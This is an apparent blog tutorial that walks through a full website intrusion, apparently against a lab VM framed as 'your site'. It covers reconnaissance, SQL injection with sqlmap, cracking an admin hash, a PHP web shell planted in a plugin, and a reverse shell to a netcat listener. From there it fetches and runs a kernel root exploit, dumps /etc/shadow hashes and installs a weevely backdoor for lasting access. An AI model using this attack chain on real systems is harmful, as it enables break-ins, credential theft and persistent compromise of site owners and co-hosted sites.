Hacking

How hackers target and hack your site

The answer to this question may be difficult to determine, simply because there are so many ways to hack a site. Our aim in this article to show you the techniques most used by hackers in targeting and hacking your site!

Let's suppose that this is your site: hack-test.com

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Let's ping this site to get the server IP:

Now we have 173.236.138.113 – this is the server IP where our target site is hosted.

To find other sites hosted on the same server, we will use sameip.org:

Same IP

26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link

1 hijackthisforum.com hijackthisforum.com

2 sportforum.net sportforum.net

3 freeonlinesudoku.net freeonlinesudoku.net

4 cosplayhell.com cosplayhell.com

5 videogamenews.org videogamenews.org

6 gametour.com gametour.com

7 qualitypetsitting.net qualitypetsitting.net

8 brendanichols.com brendanichols.com

9 8ez.com 8ez.com

10 hack-test.com hack-test.com

11 kisax.com kisax.com

12 paisans.com paisans.com

13 mghz.com mghz.com

14 debateful.com debateful.com

15 jazzygoodtimes.com jazzygoodtimes.com

16 fruny.com fruny.com

17 vbum.com vbum.com

18 wuckie.com wuckie.com

19 force5inc.com force5inc.com

20 virushero.com virushero.com

21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com

22 jennieko.com jennieko.com

23 davereedy.com davereedy.com

24 joygarrido.com joygarrido.com

25 prismapp.com prismapp.com

26 utiligolf.com utiligolf.com

Twenty-six other websites are hosted on this server [173.236.138.113]. Many hackers will target all other sites on the same server in order to hack your site. But for the purpose of study, we will target your site only and put aside hacking the other sites on same server.

We'll need more information about your site, such as:

1. DNS records (A, NS, TXT, MX and SOA)
2. Web Server Type (Apache, IIS, Tomcat)
3. Registrar (the company that owns your domain)
4. Your name, address, email and phone
5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
6. Your server OS (Unix,Linux,Windows,Solaris)
7. Your server open ports to internet (80, 443, 21, etc.)

Let's start with finding your site's DNS records. We will use the website "Who.is" to achieve this:

We have discovered that your site DNS records are:

HACK-TEST.COM DNS RECORDS

Let's determine the web server type:

As you see, your site web server is Apache. We will determine its version later.

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753

Page Views per Visit: 1 Month: 2.0 3 Month: 3.7

Now it is time to find your Doman Registrar and your name, address, email and phone:

We have now got your registrar and other vital information about you. We can find the type of scripts on your site (the OS type, web server version) by using a cool tool in backtrack 5 R1 called Whatweb:

Now we found that your site is using a famous php script called Wordpress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let's find open ports in your server.

To do this, we will use nmap:

1 – Find services that run on server

[sourcecode]

root@bt:/# nmap -sV hack-test.com

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET

Nmap scan report for hack-test.com (192.168.1.2)

Host is up (0.0013s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http Apache httpd 2.2.15 ((Fedora))

MAC Address: 00:0C:29:01:8A:4D (VMware)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

[/sourcecode]

2 – Find server OS

[sourcecode]

root@bt:/# nmap -O hack-test.com

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET

Nmap scan report for hack-test.com (192.168.1.2)

Host is up (0.00079s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

22/tcp closed ssh

80/tcp open http

MAC Address: 00:0C:29:01:8A:4D (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.22 (Fedora Core 6)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

[/sourcecode]

Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6)

Now that we have gathered all the important information about your site, let's scan it for vulnerabilities like

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth.

We will use Nikto.pl to gather info, perhaps, some vulnerabilities:

[sourcecode]

root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com

- Nikto v2.1.4

---------------------------------------------------------------------------

+ Target IP: 192.168.1.2

+ Target Hostname: hack-test.com

+ Target Port: 80

+ Start Time: 2011-12-29 06:50:03

---------------------------------------------------------------------------

+ Server: Apache/2.2.15 (Fedora)

+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b

+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host

+ End Time: 2011-12-29 06:50:37 (34 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

[/sourcecode]

We will also use W3AF. You can find this tool in backtrack 5 R1

[sourcecode]

root@bt:/pentest/web/w3af# ./w3af_gui

Starting w3af, running on:

Python version:

2.6.5 (r265:79063, Apr 16 2010, 13:57:41)

[GCC 4.4.3]

GTK version: 2.20.1

PyGTK version: 2.17.0

w3af - Web Application Attack and Audit Framework

Version: 1.2

Revision: 4605

Author: Andres Riancho and the w3af team.

[/sourcecode]

We will insert our site URL and choose full audit option:

After some time, the scan will finish and you will see

Your site is vulnerable to sql injection, xss and others!

Let's investigate the sql injection vulnerability:

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

This is the vulnerable url and cat is the vulnerable parameter.

So, let's exploit this vulnerability:

We will find that exploitating this vuln failed, so we will use sqlmap to the job and dump all database information that we need to hack this site J

Using sqlmap with –u url

After some seconds you will see

Type n and press enter to continue

As you see your site is vulnerable to error-based sql injection and your mysql database version is 5

Let's find all databases in your site by adding "–dbs "

Now we found 3 databases

We will dump wordpress database tables by adding "–D wordpress --tables "

We will find all wordpress tables

We want to dump "wp_users" table, so we will find all users (admin?) information (user is and password hash) and try to crack hash and enter wordpress control panel ( wp-admin)

We will columns of "wp_users" table by adding "-T wp_users --columns "

We will find 22 columns

We just need to dump to columns, so we will dump (user_login and user_pass ) columns by adding

-C user_login,user_pass –dump

We will find important information; we found now users and pass hashes

but we want to crack those hashes to clear text passwords. We will use the online site "http://www.onlinehashcrack.com/free-hash-reverse.php"

And try to crack this hash 7CBB3252BA6B7E9C422FAC5334D22054

And clear text password is q1w2e3

And user name is "GeorgeMiller"

We will login with these details in "wp-admin "

And we are in!

Ok let's try to upload php web shell to run some linux commands on your site server J

We will edit a plugin in wordpress called "Textile " or any plugin you found in plugins page.

And choose to edit it

We will insert php web shell instead of real plugin. After we've done this, we will hit "update file" and browse to our new php shell

Woo, the php shell works. Now we can manipulate your site files, but we want only to get root on your server and hack all other sites too.

We will choose "back-connect "tab from php web shell and make back connection to our ip "192.168.1.6" on port "5555"

But before we hit connect, we first make netcat listen on port "5555" on our attacker machine

Now hit connect and you will see:

Let's try some linux commands

[sourcecode]

id

uid=48(apache) gid=489(apache) groups=489(apache)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

[/sourcecode]

Id command is used to show us what user id, group.

pwd command is used to show us our current path on server

uname –a command is used to show us some information about kernel version

Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686

Let's search in exploit-db.com for exploit to this version or newer version

We will type "kernel 2.6.31 "

None of these will fit the bill as none of them are privilege escalation exploits.  This next one, however, is.

http://www.exploit-db.com/exploits/15285

I opened this url and copied this link

http://www.exploit-db.com/download/15285

And made this command on my netcat shell

[sourcecode]

wget http://www.exploit-db.com/download/15285 -O roro.c

--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285

Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111

Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://www.exploit-db.com/download/15285/ [following]

--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/

Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 7154 (7.0K) [application/txt]

Saving to: `roro.c'

0K ...... 100% 29.7K=0.2s

[/sourcecode]

We used wget command to fetch exploit from exploit-db.com and used –O to rename it to roro.c

Note: linux kernel exploits mostly is being delopped in c language so we saved it in .c extension, just view exploit source and you will find

All the above lines indicate that this is exploit is written in C language

After we saved our exploit on server, we will compile it to elf format by typing

gcc roro.c –o roro

And run our exploit by typing

[sourcecode]

./roro

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

[*] Resolving kernel addresses...

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452

[*] Overwriting function pointer...

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

[*] Resolving kernel addresses...

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452

[*] Overwriting function pointer...

[*] Triggering payload...

[*] Restoring function pointer...

[/sourcecode]

And after that we type

Id

We will find that we are root J

uid=0(root) gid=0(root)

We can now view /etc/shadow file

[sourcecode]

cat /etc/shadow

root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14557::::::

avahi-autoipd:!!:14557::::::

ntp:!!:14557::::::

dbus:!!:14557::::::

rtkit:!!:14557::::::

nscd:!!:14557::::::

tcpdump:!!:14557::::::

avahi:!!:14557::::::

haldaemon:!!:14557::::::

openvpn:!!:14557::::::

apache:!!:14557::::::

saslauth:!!:14557::::::

mailnull:!!:14557::::::

smmsp:!!:14557::::::

smolt:!!:14557::::::

sshd:!!:14557::::::

pulse:!!:14557::::::

gdm:!!:14557::::::

p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::

mysql:!!:14981::::::

[/sourcecode]

And view /etc/passwd file

[sourcecode]cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin

avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin

nscd:x:28:493:NSCD Daemon:/:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin

haldaemon:x:68:491:HAL daemon:/:/sbin/nologin

openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin

apache:x:48:489:Apache:/var/www:/sbin/nologin

saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin

smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin

sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin

gdm:x:42:481::/var/lib/gdm:/sbin/nologin

p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash

mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash

[/sourcecode]

We can crack all users passwords with the "john the ripper" tool.

But we will not do this; we want to maintain access on this server so we can come to visit/hack it any time J

We will use weevely to a small and encoded php backdoor with the password protected and upload this php backdoor to our server.

Let's do it

1 – weevely usage options :

[sourcecode]

root@bt:/pentest/backdoors/web/weevely# ./main.py -

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: http://code.google.com/p/weevely/

Usage: main.py [options]

Options:

-h, --help show this help message and exit

-g, --generate Generate backdoor crypted code, requires -o and -p .

-o OUTPUT, --output=OUTPUT

Output filename for generated backdoor .

-c COMMAND, --command=COMMAND

Execute a single command and exit, requires -u and -p

.

-t, --terminal Start a terminal-like session, requires -u and -p .

-C CLUSTER, --cluster=CLUSTER

Start in cluster mode reading items from the give

file, in the form 'label,url,password' where label is

optional.

-p PASSWORD, --password=PASSWORD

Password of the encrypted backdoor .

-u URL, --url=URL Remote backdoor URL .

[/sourcecode]

2 - Creating a php backdoor with password koko by using weevely:

[sourcecode]

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: http://code.google.com/p/weevely/

+ Backdoor file 'hax.php' created with password 'koko'.

[/sourcecode]

3 – Upload our php backdoor to server using php web shell

And after we upload it we will connect to it using

[sourcecode]

root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: http://code.google.com/p/weevely/

+ Using method 'system()'.

+ Retrieving terminal basic environment variables .

[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]

[/sourcecode]

Testing our hax.php backdoor

Conclusion:

In this article we learned some techniques that are being used by hackers to target and hack your site and your server. I hope you liked this article and enjoyed it.

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Learn More

In next article we will learn how we can secure your site from these attacks and more, so your website will be very secured against many hacker attacks, even advanced ones!